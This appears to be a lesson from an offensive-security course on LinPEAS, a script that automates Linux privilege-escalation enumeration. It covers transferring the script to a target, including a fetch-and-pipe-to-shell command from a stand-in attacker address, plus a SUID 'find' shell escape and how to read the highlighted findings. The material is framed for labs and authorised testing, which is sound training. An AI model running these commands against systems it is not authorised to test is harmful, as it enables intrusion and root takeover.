LinPEAS: Automating Privilege-Escalation Enumeration

You've now checked, by hand, for SUID binaries, sudo rights, GTFOBins, writable cron scripts, weak permissions, and stray credentials. That's a lot of commands to remember and run one by one. LinPEAS does all of it for you, in one script, and highlights what's worth your attention. This is deliberately the last privesc lesson: you learn the manual checks first so you actually understand what LinPEAS is telling you.

What LinPEAS is

LinPEAS (Linux Privilege Escalation Awesome Script) is a single shell script that runs hundreds of privilege-escalation checks automatically and colour-codes the results by how likely they are to get you root. It's part of the PEASS-ng suite (its Windows sibling is winPEAS).

In one run it checks everything from the last few lessons and more:

• System & kernel version (and known local-root exploits)
• SUID/SGID binaries and capabilities
• Your sudo rights, and GTFOBins matches
• Cron jobs and writable scripts
• Writable files, /etc/passwd, /etc/shadow permissions
• Credentials in configs, history, and common paths
• Network, processes, containers, and much more

Getting it onto the target

LinPEAS isn't installed, you bring it. The catch: target boxes often have no internet, so you transfer it from your machine:

# On your box: serve the script
python3 -m http.server 80

# On the target: pull and run it
curl http://YOUR-IP/linpeas.sh -o linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

# ...or do it all in memory, no file written to disk:
curl http://YOUR-IP/linpeas.sh | sh

wget and scp work too. The in-memory pipe is handy when you can't (or don't want to) drop a file.

Reading the output

LinPEAS prints a lot. The trick is the colours, you don't read every line, you scan for the highlights:

• Bright RED / RED-on-yellow , a highly likely privesc vector (roughly "95% this gets you root"). Start here.
• Yellow , interesting, worth a look.
• Plain , informational.

╔══════════╣ Sudo rights
  (root) NOPASSWD: /usr/bin/vim   <-- shown in RED: vim as root -> GTFOBins -> root
╔══════════╣ Cron jobs
  /opt/backup/run.sh is WORLD-WRITABLE and runs as root   <-- RED

It even prints links to HackTricks explaining how to exploit each finding. LinPEAS finds the vector; you still exploit it, using exactly the techniques from the last few lessons.

Trade-offs and siblings

• It's loud. LinPEAS reads thousands of files and runs hundreds of commands. On a monitored network that's noisy and easy to detect, fine for a lab or an authorised test, but know it's not stealthy.
• Understand, don't just paste. A tool that flags "SUID find" is useless if you don't know what to do with it, which is why you learned the manual way first.
• Its family: winPEAS (Windows), LinEnum and linux-smart-enumeration (lse) (other enumerators), and pspy (watch cron/processes in real time). Different tools catch different things.

Try it (terminal)

1. ./linpeas.sh , run the automated sweep in the sandbox.
2. Read the output and find the lines highlighted in red, those are your privesc vectors.
3. Pick one (a SUID binary, the writable cron script) and recall how you'd exploit it by hand.

Common questions

"If LinPEAS does everything, why did I learn the manual checks?" Because LinPEAS finds, it doesn't exploit. It flags "SUID find" in red, but you still need to know that means find . -exec /bin/sh \;. A tool you don't understand just gives you a red line you can't use. The manual lessons are what turn its output into root.

"The output scrolls for pages. How do I not drown in it?" Don't read it top to bottom, scan for colour. Bright red (and red-on-yellow) means "~95% this gets you root", start there. Yellow is worth a glance. Plain text is background. Piping to a file (./linpeas.sh | tee peas.txt) lets you search it afterward.

"It flagged something, but is it a real win or a false alarm?" Treat every finding as a lead, then verify by hand. LinPEAS is tuned to over-report rather than miss things, so a red line is where to look, not proof. Confirm the permission or sudo rule yourself before you rely on it.

"Isn't running a huge script like this going to get me caught?" On a monitored network, yes, it's loud: it reads thousands of files and runs hundreds of commands. That's fine in a lab or an authorised test where stealth isn't the goal, but know it's not quiet. For stealth you'd run targeted manual checks instead.

Why this matters

On a real engagement you won't hand-run thirty enumeration commands under time pressure, you'll run LinPEAS and read the red. But it only helps if you understand the findings, and now you do. Automate the search, keep the judgement.